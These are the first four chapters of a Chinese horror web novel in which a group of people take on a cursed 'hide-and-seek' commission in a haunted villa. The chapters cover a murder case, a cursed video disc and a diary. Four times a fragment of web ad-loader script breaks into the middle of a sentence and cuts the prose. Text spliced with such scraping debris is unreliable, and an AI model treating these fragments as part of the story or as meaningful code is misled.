《黄泉委托[无限]》 1. 捉迷藏(一) 洛晚猛地睁开眼。 时值午夜,万籁俱寂,分明是七月盛夏,可她裹紧被子却依然手足冰凉。 又来了,那种正在被恶意窥视的强烈感觉。 她很笃定,那东西就在房间角落,面朝床铺,一点点向这边靠近。 黑暗的卧室里,呼吸声逐渐粗重,心脏恐惧地怦怦乱撞,几乎要跳出胸腔。她颤抖着张开唇,喉咙口却干涩无比,发不出半点声音。 冷汗顺着鬓角滑落,洛晚强迫自己闭上眼。 近了,更近了—— 有什么在床边俯下身,对着她吹了一口气。 洛晚死死闭着眼,不停自我催眠着一切都是幻觉。她想若无其事地翻个身,整个人却僵硬得无法动弹。 为什么……为什么现在会出现?她明明还在阳世,委托明明还没开始……不,规则不是这样的,没什么能够打破规则……可它为什么会在这儿! ——自己是要死了吗? 洛晚不受控制地颤抖起来,紧闭的牙关发出“咯咯”的摩擦声。那道满含诅咒的恶毒视线愈发强烈,它慢慢地探下/身,马上就要与她脸贴着脸时,一阵清风忽然拂过。 窗纱被高高地扬起,天边的流云缓缓飘动,皎洁的月光重新露出来。 它消失了。 洛晚惊悸地抖着唇,许久后才长长地呼出一口气。她疲惫地睁开眼,长发凌乱地黏在脸上,早就被冷汗浸透了。 躺在床上平复了一会儿,她坐起身,下床时双腿软得差点跌倒。就着月光颤颤巍巍地倒了杯水,洛晚“咕嘟咕嘟”地一口气喝光,凉意顺着喉咙划过食道,乱成一团的头脑也逐渐恢复了清明。 “砰”地放下杯子,她定定神,打开灯,把目光投向了书桌上泛黄的羊皮纸。 它呈不规则的长方形,质地坚韧,材质略硬,复古得与现代社会格格不入。洛晚走过去,只见本该空白的纸面上此时多了两行血淋淋的字: [请于2022年7月24日0:00-3:00,到永宁路上的白家公馆中,与顾梦瑶、齐晨、徐凯、王彬玩捉迷藏。完成委托后,将获得报酬:10年阳寿。] 这两行字暗红不祥,有些笔画拉得极长,仿佛鲜血在缓慢流淌。洛晚用拇指抹了一把,字迹毫无晕染,纸面上一如既往地干燥,让人判断不出写字时间。 “嗡——” 手机突然震动,屏幕上显示着来电人“徐凯”。洛晚滑动接听,对面立刻道:“你收到了吗?” “嗯,去白家公馆里捉迷藏。” 长久而窒息的静默后,徐凯的声音有些颤:“出来见一面吧。” “明天吧,起码等到天亮以后。”洛晚低低道:“我刚刚,遇到‘那个’了——” “怎么会!”电话中的呼吸明显急促起来:“委托时间外,‘那个’不可能出现,这是规则!” “我也不知道……”洛晚顿了顿,声音压得更低:“或许,你可以去问问王彬。” “不,他不会说的……”徐凯惊慌得语无伦次:“你知道的,洛小姐,我只是黄家雇佣的保镖,他们什么都不告诉我……我就是个有点身手的普通人,拿那些东西毫无办法,说不准我这次就会死!就在明天的这个时候!” 洛晚沉默地听他发泄,攥着手机的五指微微泛白。良久,徐凯终于压下绝望,哑声道:“对不起,洛小姐,我失态了。” 洛晚轻轻“嗯”了一声:“那12:00,老地方见。” 挂掉电话后,她拿出双肩包,有条不紊地开始收拾东西。手电筒、碘酒、创可贴、绷带、记事本、笔、指南针、手表、巧克力…… 反复检查后确认没有遗漏,她锁好拉链,躺回床上,重新合起了眼。 完成委托需要有充沛的体力。尽管此刻毫无困意,但洛晚依然强迫自己摒弃杂念,闭目养神。 不知这样躺了多久,她再次迷迷糊糊地睡了过去。 明月西沉,旭日东升。 一觉醒来已近正午,洛晚头昏脑涨地爬起来,简单洗把脸后给自己煎了两个蛋,又吃了一个牛角包和一个苹果,这才打起精神,背上双肩包走出门。 锦安是个历史悠久的三线小城,发展至近代逐渐没落,年轻人纷纷背井离乡,白天的路上行人不多。她乘公交来到老工业园,下车后横穿马路,走进了一幢陈旧的五层办公楼。 一楼左转有个餐厅,专门对内部员工开放。洛晚进去时,角落的方桌边已经围坐了三个人。 正对着门口的齐晨最先看到她,欣喜地举起咖啡杯:“这里——我就知道洛小姐不会迟到!” 洛晚客气地朝他和徐凯点点头,接着礼貌地向他们对面的中年男子问好:“王哥。” 王彬眯眼觑着她,深吸一口烟后碾灭烟头:“你这是第三次了吧?” “嗯。” “老实讲,非常出乎我的预料。”他由衷地感叹:“虽然这么说很失礼,但我本以为你撑不过第二次。” “侥幸而已。”洛晚耸耸肩,随手扎起长发:“倒是王哥你,这是第四次委托了吧?再完成一次就能结束了。” “是啊!”王彬畅想着未来平静的生活,忍不住露出微笑:“到时我要离开这座城市,走得远远的,到外省随便去干点什么……” 徐凯轻咳一声打断他,煞风景地拿出几叠资料:“这是目前能搜集到的关于白家公馆的所有信息。” 洛晚伸手取来一份:“黄家给的吗?” “嗯。那里十年前发生过一起灭门案,是著名的凶宅。当年这起凶杀案还登过报,但有许多细节没公开。” 洛晚从包里拿出笔,边浏览边圈画出她认为的重点:“歹徒踩点后入市偷盗,遇上了起夜的女主人,将其残忍杀害……之后又杀害了与女主人同住一个房间的长女和隔壁的次子……” “没错,男主人当时出差在外,幸运地逃过一劫,但回家后发现妻儿全部遇害,他承受不住这种打击 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,患上了重度抑郁症,半年后在卧室里自缢了。”徐凯舔舔嘴唇,紧张地盯着王彬和洛晚:“怎么样?你们有什么发现?” “一栋别墅里死五个,这可真是名副其实的凶宅。”齐晨想缓和一下凝滞的气氛,故作轻松地扯开唇,却只露出个哭一样的笑:“洛小姐,你怎么看?” 洛晚没有马上回答,细致地阅读过两遍后,方才谨慎地道:“男主人和他们家的小儿子让我有点在意。” 齐晨的双眼立时一亮:“为什么?” “男主人在自缢前并没去做过专业的心理检查,‘重度抑郁症’是医生根据经验和他生前的行为状态判断的,其中可能存在偏差……毕竟,警察和医生相信科学,而我们却知道,‘那东西’是真实存在的。” “关于这点,我拜托黄家去调查了,可惜这个案子实在太久远,现在只能找到当初的验尸报告。”王彬打开手机相册给他们看照片:“原件不方便带走,我全拍下来了。” 徐凯敬佩地看他一眼:“还是王哥想得周到。” “这次时间紧,一会儿就得出发,接到委托后我也没敢耽搁,连夜让黄家去搜集消息,可惜……”他摇摇头,又叼起了一根烟:“能找到的还是太少了。” 照片上清晰地显示着法医的尸检结果,还附有死者不同角度的遗照。齐晨白着脸瞟了几眼就不敢再看,洛晚和徐凯则仔仔细细地放大检查了一番:“果然没什么有用的线索……” 洛晚叹口气,关切地转向王彬:“不睡觉会影响体力,不然您趁现在休息休息?我们走的时候再叫你。” 王彬摇摇头,眯着眼睛吐出个烟圈,“这个时候哪还睡得着……没关系,明早6点就结束了,这几个小时我还撑得住。” 他拿回手机,点点资料:“比起男主人,他家的小儿子问题更大。” “的确,‘午夜失足摔死在地下室里’……他只有5岁吧?”齐晨咋舌:“警方后来的结论是‘身为监护人的父亲因为重度抑郁症导致精神恍惚,监管不力’,但这太勉强了。” “最奇怪的是,5岁的孩子半夜独自去地下室——”洛晚皱起眉:“我和小孩接触不多,可能这个年龄的孩子确实喜欢乱跑,但对他们来说,室外花园的吸引力应该比黑漆漆的地下室大吧?” “之前我给其他老板做保镖,他们的孩子很少去地下室,因为那里不好玩。”徐凯客观地补充:“当然,每个孩子的性格不同,我说这只是当个参考。” “正常来讲,这个孩子应该在歹徒入室那夜被杀死。他原本和母亲一起睡,不过那天已婚的长姐回娘家,两个女人大概想说点私房话,所以他临时到隔壁与哥哥一个房间。但歹徒闯进去杀他哥哥时,他却不在——” 王彬深吸一口烟,缭绕的白雾模糊了他的脸:“我特地让黄家调查过,听说这孩子那晚躲在客房的柜子里。被人发现时,他说……” “说什么?” “‘我正在玩捉迷藏。’” 2. 捉迷藏(二) 白家公馆位于市郊半山腰上的富人区,没有直达公交。徐凯开着一辆改装面包车,载着洛晚、王彬和齐晨在公路上飞驰。 15:46,距离委托开始还有8小时14分钟,距离白家公馆还有3小时车程。 车内安静而压抑,王彬独自靠在后方补眠,洛晚则盯着窗外出神。 公路笔直地延伸向远方,路边的高楼渐渐稀少,取而代之的是大片荒地。天边阴云翻滚,夕阳沉入厚重的云层,天地间一片茫茫的灰暗。 “洛小姐,”齐晨忽然用手肘撞撞她:“上一次委托多亏有你,谢谢你。” “不必客气,举手之劳。”洛晚不在意地冲他笑笑:“我们是同伴,我希望大家都能活着回去。” 齐晨轻轻“嗯”了一声,依旧满脸感激。他本是个毕业不久的上班族,一个月前意外捡到了那卷羊皮纸,然后就稀里糊涂地与几个陌生人开始了第一次委托。 那个委托的内容是在公园中帮冤魂找到他丢失的右手,但那只手却是其他恶鬼的藏品,一旦取走就会被诅咒。参与委托的6个人依次因此而亡,如果不是洛晚在最后关头拿到了克制恶鬼的凶器,他此刻绝不会活生生地坐在这里。 “洛小姐,您可真厉害,逻辑思维能力和推理能力都很强。”齐晨略带谄媚地夸赞:“听说您是京城大学的高材生?太了不起了,果然和我们这些碌碌无为的普通人不一样。” “侥幸而已,一半靠运气。”洛晚打给微信,给他发了一张书单:“我建议你平时多锻炼体力,另外多读些锻炼思维能力的工具书,努力提升记忆力。这些都对完成委托有帮助。” “好,好的!”齐晨将书单保存好,接着期待地望向她:“洛小姐,你认为我们这次该怎么做?你一定已经有头绪了吧?” 洛晚面色平静地摇摇头:“一切要等到那再看,我相信白家公馆中藏着更多信息。” “可委托0点才开始,我们真要提前进去吗?万一……万一遇到那东西怎么办?”齐晨胆怯地小声嘟囔:“不然,还是在车里养精蓄锐,挨到23:00再说吧……” 洛晚没理会他的纠结,抬手敲敲司机的椅背:“‘那东西’会在非委托时间出现吗?” 虽然她问得含糊,但大家都清楚“那东西”是什么。所有人都对那个字怀着深深的畏惧,因此他们以“那东西”来指代。 “我不确定。”徐凯回答得十分严谨:“据我所知,目前没有过这种先例,从没有人在非委托时间遇到过。” “但这不能说明它不会在非委托时间出现。”王彬突然哑着嗓子接口,吓了三人一跳:“谁都不知道完整的规则是什么,一切全是我们摸索猜测的。小心驶得万年船。” 洛晚抱歉地递给他一瓶水:“我是不是把您吵醒了?” 王彬摇摇头,接过来拧开喝了一口:“一闭上眼睛就做噩梦,还不如不睡。” 车子驶出市区,道路逐渐颠簸,天光也慢慢暗淡下来。未经修剪的野草足有半人高,黑漆漆地连成一片,仿佛一面晃动的墙。齐晨的心中莫名惊惶,没话找话地打破沉寂:“前面不是富人区吗?为什么一路上这么荒凉?” “你说半山腰那片别墅群?之前的确是富人区,不过白家公馆的凶案发生后,有钱人陆陆续续地搬走,那里早就闲置了。”徐凯打灯转向,盘旋着驶上山路:“我的上一任雇主在那儿有幢房子,我陪他过来住过,冷清荒僻得像座鬼城。” 他说完后才意识到自己无意中讲出了那个字,不由懊恼地抿紧唇。齐晨则没注意到这些,兀自在后座一惊一乍道:“那岂不是说,我们一旦在白家公馆中遭遇意外,将会叫天天不应、叫地地不灵!” “委托期间本来也不会有其他人来帮你。”王彬抬腕看了眼表:“快了。” 夏日天长,晚上六点多还有残阳,可山间林木茂密,将天光遮蔽得昏黑阴暗。一幢幢风格各异的别墅错落地分布在树丛里,未经养护的外观灰扑扑的,窗扇就像一只只黑洞洞的眼睛,幽冷而死寂。 “有钱人就是不一样,这么大的房子说不住就不住……”齐晨从没来过这边,此时感兴趣地把脸贴在车窗上,目不转睛地瞧着窗外:“诶,你们看那栋红色的别墅,屋顶是圆的,和国外的城堡一样!” “少见多怪!”王彬轻嗤道,对他颇为不屑。他认为这种蠢货迟早要死在委托里,因而也懒得交际。 齐晨讨了个没趣,撇撇嘴,不再作声。眼下即将到达目的地,车速谨慎地放缓,他不舍地盯着那幢漂亮的红别墅,就在它即将划出视野时,二楼黑乎乎的窗子里却突然亮起一根蜡烛! “诶哟!”齐晨小小地惊呼一声:“那里居然有人!” “哪里?”徐凯警惕地偏过头:“这些楼一看就年久失修,怎么可能还住着人?” “那个!就我刚刚说好看的那幢!”齐晨着急地朝后指,突发奇想道:“你们说,他们和白家是邻居,会不会知道些内幕?反正时间还早,我们可以下去问问……” “不行!”洛晚断然拒绝,面孔苍白难看:“快走,离开这儿,越远越好!” 又来了,那种被窥视的感觉……她能肯定,有什么正恶毒地盯着自己,就在那扇亮着蜡烛的窗户后! 徐凯见她神色不对,问都不问直接加速驶离。等到齐晨回过神时,他们已经转了弯,远远把那幢房子抛在身后。 “诶,为什么?你们急什么呀!”齐晨满头雾水地看向洛晚,这才后知后觉地发现她的异样:“洛小姐,你怎么了?脸色这么差,是身体不舒服吗?” “……没什么,有点晕车。”洛晚用力攥了一下拳,掌心里黏糊糊的,全是冷汗。她定定神,声音冷沉:“不要靠近那幢红色别墅,无论你们信不信……我的第六感很准,我认为那里非常危险,非常不祥。” “我信。”王彬出乎意料地最先附和:“你是我们中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 感觉最灵敏的,我相信你甚于相信自己。” “我也是。” “……这样吗?”眼见另外两人答得毫不迟疑,齐晨懵懂地挠挠头:“没想到洛小姐你还有这种特殊能力。” “可能女人的第六感都比较强。”洛晚含糊地转移话题:“除了我们四个外,还有一位名叫‘顾梦瑶’的同伴吧?她应该是第一次收到委托,你们去找她了吗?” “没必要,等她活过这一次再说。” 19:13,夜幕降临,大地完全被黑暗笼罩,星月无辉。 一行人终于到达终点,面包车停在白家公馆门前。 这片区域幽暗阴森,废弃的荒宅没有电力供应,只能靠长街对面昏黄的路灯勉强照明。洛晚走近几步,只见虚掩的铁门上布满了蛛网,前院里杂草丛生,白色的三层别墅冷漠地矗立在夜色中,嘲讽地盯着不知天高地厚的外来者们。 齐晨害怕地吞吞口水,忍不住凑到王彬身边:“真要现在进去吗?万一我们在委托开始前就遇到……那个东西,怎么办!” “为了搜集线索,这是必须要冒的风险。”王彬做好心理建设,沉着地打开手电筒:“我们走吧。” 由他打头,接着是洛晚,徐凯和齐晨并肩殿后。四人轻手轻脚地走到门前,王彬抬起手正要推门,铁门忽然“吱呀”一声徐徐打开—— 夜风贴地卷过,荒草发出“沙沙”的摩擦声。王彬突兀地伸着手,狠狠咬了下舌尖,额上隐隐渗出冷汗。 齐晨不停地瞄着四周,声音发颤地低声询问:“这……还要进去吗?” “反正早晚要走这一趟!”徐凯突然发狠,大步上前拨开王彬,一步跨过铁门:“我比你们身手好,还是我来开路吧!” “……谢谢。”王彬闭了下眼,再睁开时满脸决然:“走!” 白家公馆的前院不算大,目测大概60平,左侧有个四角凉亭,角落立着一盏坏掉的落地灯。几人走进客厅后,洛晚取出蜡烛点燃放到各处,四周立刻明亮起来。 与一般别墅的布局类似,客厅的左侧是厨房、餐厅,右侧有1间窗户正对着前院的卧室。空地上堆着许多倒扣的画,穿堂风将蜡烛吹得明灭不定。 “客厅的后门直通后院,前院和后院是相连的。”转过一圈的王彬总结:“我还在后院墙角找到一架木梯,任务结束后铁门锁死的话,可以靠它爬出去。” “地下好像不止一层。”洛晚站在楼梯口,探着身子朝下望:“你们谁来和我一起下去看看?” 想到曾有孩子摔死在那儿,齐晨摆着手连连摇头,“不不不……我不行,我这人总是毛手毛脚,会拖累你的!” 他后退几步,冷不防撞上桌角,“啪”地碰落了一件东西。 “咦?” 齐晨好奇地捡起它,翻转到正面后瞳孔骤缩,“嗷”地惊叫出声—— 一个没有眼白的长发女鬼正恶狠狠地盯着他! 3. 捉迷藏(三) 洛晚、王彬和徐凯被他突然的尖叫吓了一跳,一愣后全都围上来。 “鬼、鬼啊!”齐晨将那东西摔到餐桌上,惊魂未定地喘着粗气:“那、那是……太逼真了,就像真的一样!” “这是什么?” 王彬皱着眉捡起它,尽管早有心理准备,但看到封面上渗人的女鬼后,呼吸仍然不可抑制地停顿了一瞬。 “这是……一盘影碟?” 洛晚从侧面探过头,只见影碟的外壳背景纯黑,上面印着一个长发遮脸、只露出一只眼睛的女鬼。女鬼没有眼白,但却给人一种正在邪恶地注视着你的惊悚感。它黑色的嘴唇一路咧到耳根,唇角凝固着深红的血渍。 王彬打开外壳,里面果然夹着一张黑色的碟片。 “居然真是影碟,这可算老古董了……”他合起塑料壳,把印有女鬼的正面扣到桌面上:“我记得八九十年代那会儿流行DVD,当时我还在上初中,路边开着许多影碟屋,2块钱租一盘,看完了再还回去。” “但现在是2022年,大家全用投影仪,谁家还看光碟啊!”徐凯疑惑地摸了一把外壳,“而且你们看,桌子和地板上都蒙着灰,这盘影碟却很干净。” “你的意思是,它是最近才被人放在这儿的?”齐晨惊惶地环顾四周:“谁?是有人在恶作剧吗?” “不——”王彬神色凝重地摇摇头:“你们确定,它刚刚是存在的吗?” “……你什么意思?” “虽然只有一瞬间,但我跨入客厅时用余光瞟过一眼,我记得桌子上什么也没有。”王彬不太确定地回忆道:“后来洛晚点燃蜡烛,我就从后门出去了……” “我没注意这些细节,”徐凯羞愧地垂下头:“抱歉,我该用手机拍几张全景照的。” “我也是……” 洛晚拿起影碟,努力忽略那种被注视的恶感,凝眸盯着女鬼嘴唇下的大片留白:“别沮丧了,你们再来看看,这里,好像有几个人——” “人?”视力最好的徐凯闻言接过来:“的确……有些不同的影子……” 塑料壳的封面上,靠近下边缘的角落里画着几道不易察觉的灰色暗影。他们的颜色实在太深,几乎与黑色背景融为一体,难以用肉眼看清。 徐凯打开手电,眯起眼凑过脸去细细辨认:“1、2、3、4、5……没错,上面一共有5道人影。” 洛晚若有所思地点点头:“这次委托碰巧也有5个人。” 王彬一愣:“你是说……” “其实我一直在思考‘捉迷藏’的规则。众所周知,这个游戏分为两方,一方躲藏,另一方则要当‘鬼’去找人。那么,哪些人躲藏、哪些人当鬼?要有几个人当鬼?被找到后又有什么惩罚?” 她从徐凯手中拿过影碟:“而这些,它应该会告诉我们。” “可这里没有录放机,也没有电……” “我背了笔记本,能读光盘!”齐晨连忙从背包里掏出电脑:“之前我经常出差,所以养成了随身携带电脑的习惯。” 他的笔记本款式老旧,续航极差,好在上午刚充过电,看完一部电影不成问题。小心地插好光盘后,四人搬来椅子坐成一圈,桌面上很快就弹出了读取框。 齐晨屏息点击[播放],屏幕“滋啦”“滋啦”地闪动两下后,忽然黑掉了。 “诶?”他奇怪地抬起电脑,东敲敲西碰碰:“怎么回事?” “是不是读取错误?” “不知道啊……” 烛火妖异地跳跃着,在墙壁上拉出四个黑影。几人耐着性子摆弄了一会儿,不知无意中触碰到哪里,屏幕再次亮起来。 这似乎是一段偷拍的视频,画面一直在轻微摇晃。暗沉的色调中,一个不到膝盖高的小女孩蹦蹦跳跳地在别墅里玩耍,镜头持续跟随着她。 视频里的别墅也是三层,走廊幽长,墙壁上挂着带有宗教意味的油画。不知哪里的座钟“当”“当”“当”地敲响三下后,小女孩的速度明显加快,挨个房间跑了一圈,最后藏进花园的草丛里。 画面就此静止,再无动静。 就在王彬几人怀疑电脑卡顿时,“当”的一声,镜头又开始移动。 这一次不知道在拍什么,画面凌乱,毫无规律,而且移动得越来越快。拍摄者好像在找东西,一会儿去翻衣柜,一会儿又去地下室,搜寻得相当细致,半个别墅都被转了个遍。 “当”“当”“当”“当”—— 钟声整点敲响,画面再一次静止,几秒钟后镜头一切,小女孩重新出现。 她看上去有些疲惫,不像刚刚笑得那么开心,甚至困倦地打了两个哈欠。大概是懒得再费心躲藏,她直接躺到了卧室里的床底下,接着就不再动弹。 画面又一次静止下来。 洛晚抬腕看了眼表:“这应该是一段截取的监控,视频中的时间流速与现实相同。之前座钟敲三下时是19:31,刚刚敲四下时是20:31,中间敲一下时是20:01……” “以半点的钟声为界,前半小时小女孩躲藏,后半小时‘鬼’去抓人,镜头也是以此来切换的。”王彬接口:“如果这盘影碟意在暗示的话,那么这就是我们待会儿的规则。” 齐晨吞了吞口水:“被抓到会怎么样?” “当!”半点的钟声再度响起,几人立刻停止交谈,聚精会神地看向屏幕。 镜头一转,画面快速划过,最终停在小女孩藏身的卧室前。 空无一人的走廊上,房门缓缓打开,一道影子慢慢挪入室内。 几秒后,电脑中爆发出撕心裂肺的惨叫: “啊啊啊啊——!” 烛火猛地抖动一下,四人的心也狠狠一颤。暗淡的光线中,视频仍在继续,那道影子拖着毫无生气的小女孩走出房间,一步步向镜头挪来。 小女孩浑身染得鲜红,脖子与身体形成了诡异的直角,鲜血滴滴答答地流了一路。她的正脸朝向屏幕,双眼和嘴巴恐惧地大张着,随着拖动一点点 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 向前,怨恨地盯着镜头。 洛晚忽然推了齐晨一把:“关掉它!” 齐晨被吓得一抖,茫然地抬起头,“啊?” 洛晚一把夺过鼠标,可屏幕上却没出现[暂停]按钮。她用力敲击键盘,然而画面毫无反应,影子依然在一点点向前,小女孩凝固着恐惧与怨毒的脸也越来越近。 近了,更近了—— 黑影拖着尸体走出镜头,屏幕一闪后归于黑暗。 电脑前的四人放下心,不约而同地舒出一口气。 “吓我一跳!”齐晨抹了把冷汗,白着脸瘫在椅子上:“我还以为跟《午夜凶铃》似的……” 话音未落,客厅里突然响起一阵沙哑怪异、不辨男女的大笑,黑掉的屏幕上猝然贴上来一张鬼脸!她的长发下垂、只露出一只没有眼白的眼睛,黑色的嘴唇一路咧到耳根,唇角凝固着深红的血渍。 ——赫然是影碟外壳上印着的女鬼! “你……们……都……要……死……” “你……们……都……要……死……” “你……们……都……要……死!” 电脑中断断续续地重复着这句调子奇异的尖锐诅咒,声音越来越大,仿佛直接响在脑海中。王彬不停按着关机键,但却没有效果,徐凯重重把它砸到地上,又举起椅子连续敲打,“砰”“砰”数声巨响后,电脑终于碎裂。 诅咒声总算是消失了。 齐晨缩在椅子上神色惊恐,洛晚的指尖也冰得吓人;徐凯放下椅子喘着粗气,王彬伸手抹了把脸。 沉默数秒后,洛晚压下恐惧,收束心神:“看来我们全是躲藏的一方。” “没错。”王彬看了眼时间,21:34,“还有两个多小时。” “必须要了解别墅的结构,起码得清楚哪些地方可以躲藏。”洛晚说着捡起一幅客厅中央倒扣的画:“这些……” 画板上涂色阴暗、笔触稚嫩的女鬼蓦地闯入眼帘。 她胸口一颤,把它放回地上,又将其他倒扣的画一一翻过来——果然,上面的所有内容都是女鬼! “这……”徐凯的喉结滚了滚,忍不住后退半步。 地面上一共摆着九幅画,王彬凑过来观察了一会儿,动手给它们挪了一下位置:“这样……好像在讲一个故事。” 第一幅画中是个幽暗的房间,侧面摆着三层铁架,正面的墙壁上有一道绘有鲜红符文、贴着黄纸的灰色大门;第二幅画中,大门开启,里面黑洞洞的,窥不见一丝光线;第三幅画中,长发遮脸、只露着一只眼睛的女人从门里走出…… “内容和影碟里的差不多。”洛晚看完后,又将画板一一倒扣回去:“孩子与女鬼玩捉迷藏,被找到后……画里的小男孩应该就是这家的幼子吧?他可能把自己的经历全都画了进去。” “让我在意的是那道门。”王彬沉思着:“女鬼是从门里出来的,要是门不开启的话……” 齐晨小声嘀咕:“可我们能拿它怎么办?” 4. 捉迷藏(四) “不要泄气,说不定能找到封锁那道门的办法。”徐凯宽慰道:“委托虽然危险,但从不让我们直接去死,每一次都会隐藏些能够克制鬼魂的道具,运用得当的话,甚至能提前完成结束。” “没错,现在的重点是找到那扇门。”王彬很快就有了主意:“四人一起不够灵活,效率也低,我们两人一组,分头寻找,怎么样?” “我没意见。”徐凯略微犹豫了一下,“但我的任务是保护你,不适合与你分开。” “那就咱俩一组,齐晨,你和洛晚一组,怎么样?” 齐晨瞧瞧高大健壮、很有安全感的徐凯,又看看娇小纤细的洛晚,不甘不愿地点点头:“好吧!” 王彬又询问地望向一旁沉默的洛晚,却发现她正盯着墙壁发呆。 他狐疑地回头看了眼墙壁,“洛晚?” “……哦,我也没意见!”洛晚一惊回过神:“那我们现在就开始吧!” 王彬挑起眉打量着她,又回身看了眼墙壁,上面光秃秃的,跳跃的烛火拉长了四道黑影:“你在看什么?” “没什么,我只是在思考那道门可能会出现的位置……”洛晚定定神,打开手电筒:“你们去楼上还是地下?” “都行,楼上吧。” “那我们去地下,每隔一刻钟互发一条短信报平安,怎么样?” “没问题。”王彬与几人核对着时间:“现在是21:51,无论有没有找到‘门’,我们23:30都必须回到这儿。” “好。”洛晚走到楼梯口,齐晨见状也跟上来:“你们小心!” “嗯,你们也是。” …… 别墅的地下共有两层,-1层是茶室和影音室,-2层则与停车场相连,是个小型储物间。 地下不通风,阴暗潮湿,墙壁大片脱落,空气中带着一股霉味。洛晚在前,齐晨在后,二人一步步走下楼,“啪嗒”“啪嗒”的脚步声发出轻微的回响。 洛晚侧眸望着墙壁上的影子:“齐先生……” “不用这么客气,叫我的名字就行。” “好的,齐晨,你还记得上次参与委托的一共有多少人吗?” 齐晨不明白她为什么突然问起这个,但仍旧老实道:“算上你我,一共6人。” “克制鬼魂的道具是什么?” “……埋在树下的小匕首。”齐晨快走几步与她并肩:“怎么了?你有了什么新发现吗?” 洛晚下意识加快脚步,刻意与他拉开一段距离:“我记得你有个刚谈了不久的女友吧?你们的感情还好吗?” “女友?你记错了吧,我一直单身,打算过两年去相亲来着。” “哦,对,我想起来了,抱歉……我们到了。” 洛晚侧过身让他走在前面,边环顾四周边注意着齐晨,一刻也不敢放松, 刚刚在客厅时,她无意间发现墙壁上映出了五道影子,可他们却只有四个人!生怕打草惊蛇给自己带来危险,她没有声张,与齐晨聊天也是为了确定对方真的是齐晨,而没被其他什么东西上身…… “这个影音室好大啊,还装着高档的按摩椅!”齐晨的感叹拉回了她的思绪:“洛小姐,只有一小时的话,恐怕搜不完地下两层。” “我们分开搜索,把可以藏匿的地点记下来,最好能找到与屋主有关的信息。”洛晚用手电四处照了一下,“这里虽然大,但家具不多,而且大部分都被搬走了,看上去不适合捉迷藏。” “倒是可以躲到按摩椅下面。”齐晨小心翼翼地走进去:“那我负责这个影音室,洛小姐,你可别离我太远啊!” “好,有事就高声喊我的名字。” 顺利而自然地与他分开后,洛晚暗暗松了口气。尽管一个人行动很危险,但在无法确定“齐晨”是真正的齐晨前,她不会与他过多接触。 对其他两人也是一样。 地下一层没有客房,茶室与影音室各占一半。影音室单独辟出了一块封闭的空间,茶室则以屏风隔断,头上是一片玻璃顶,暗淡的天光洒进来,将蒙着灰尘的方桌映照得幽幽暗暗。 洛晚用手电照了一圈,简单的陈设一目了然。她模拟着主人的日常跪坐到桌边,伸手一探,发现桌下的地毯上有一块不明显的凸起。 是一个薄薄的软皮本子。 她一手举高手电,一手翻开本子,上面的字体娟秀整齐,显然出自女人之手。 “2002年3月24日: 今天是搬进这幢别墅的第一天,也是结婚三周年纪念日,我做了一桌丰盛的饭菜,特地嘱咐阿志早点回家。 当初穷困潦倒时,我从没想过自己有一天会过上富人的生活——富人,现在的确算是富人了吧?我们开办了自己的公司,住进了富丽堂皇的大房子,出入有豪车,阿志还想再请几个保姆。 但我讨厌人多,只留着林妈就足够了。 一切都会越来越好的。” 很明显,这是女主人的日记。洛晚把手电放到桌上,快速阅读起来。 “2002年4月6日: 阿志回家得越来越晚,身上总是带着酒气。钱是赚不完的,我劝他珍惜身体,可他却神色怪异地摇着头,欲言又止地看着我。 他到底在想什么?有什么不能对我说的吗?我们之间从没有过秘密…… 林妈最近经常请假。看来阿志说得没错,应该多请几个保姆。 房子大了固然好,可时间久了难免寂寞。如果多个孩子的话,会不会好一些呢? 2002年6月8日: 我怀孕了。 我想把这个好消息亲口告诉阿志,但他半夜2点才回家。 我们爆发了激烈的争吵,我甚至怀疑他在外面有了女人,虽然这种疑心毫无道理—— 最后的最后,阿志突然提议搬家,亏本卖掉现在的房子,不过被我拒绝了。 这套别墅位置优越,价格实惠,当初能以低于市场30%的价格买到纯属幸运,我绝不会让他胡来。” 后面的字迹明显潦草起来,女主人的记录也渐渐诡异。 “2002年6月20日 大概因为孕妇比较敏感 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,我总觉得家里还有一个人,独处时经常莫名其妙地生出一种被恶意注视的感觉。 可我花费一周找遍了别墅的每个角落,可以肯定地说,家中除了我、阿志和林妈外,绝对没有第三个人,安保系统也没问题……难道,真是错觉? 阿志最近回家很早,我们没再吵过架。但他的胆子好像变小了,每每天黑一定要亲自锁紧门,有时候显得疑神疑鬼。 我总觉得他瞒着我什么。 在写下这篇日记时,那种被注视的感觉更加强烈……是正对着后院的天窗吗?” 洛晚攥紧日记,不自觉地瞟了眼头顶,余光却模模糊糊地看到天窗上趴着一道阴森的黑影! 她一惊起立,双腿却因为跪坐而发麻,狠狠磕到了桌角上。 不由自主地倒吸一口冷气,她忍着疼痛拿起手电朝上照,天窗上却空空如也,只有无星无月的漆黑夜空。 ——这里不安全。 洛晚当机立断,拿着日记和手电离开茶室,向-2层走去。 …… 影音室不小,目测有40平,墙壁上挂着白色的幕布,位于房间中后方的6个观影席位则分成了3排,乍一看就像个小型影院。 齐晨举着手电在室内转了一圈,最后泄气地坐到观影席上:“值钱的东西早被搬空了,哪个蠢货会把重要的秘密藏在影音室啊……唉!” 他疲惫地揉着肩膀,靠到椅背上打算休息一会儿。昨天半夜收到委托后就翻来覆去地睡不着,今日一整天又舟车劳顿,身心高度紧张,此时窝在舒服的按摩椅上,倦怠上涌,齐晨忍不住有些犯困。 眯一会儿,就一小会儿,没关系的,到时间了洛晚会来找他的…… 双眼慢慢合拢,齐晨的呼吸逐渐放缓,很快就睡了过去。 而影音室的大门,则一点点地无声关闭…… 不知过了多久,齐晨猛然惊醒过来。 他茫然地抬起头,发现自己正坐在一个小型影院中。周围空荡荡的,幕布上正在放映恐怖片,男主角同样坐在黑漆漆的观众席上。 “奇怪,我怎么会独自在这儿……”他伸长脖子四处环顾,总觉得自己忘了什么重要的事:“有人吗?” 黑暗中没人回答他。 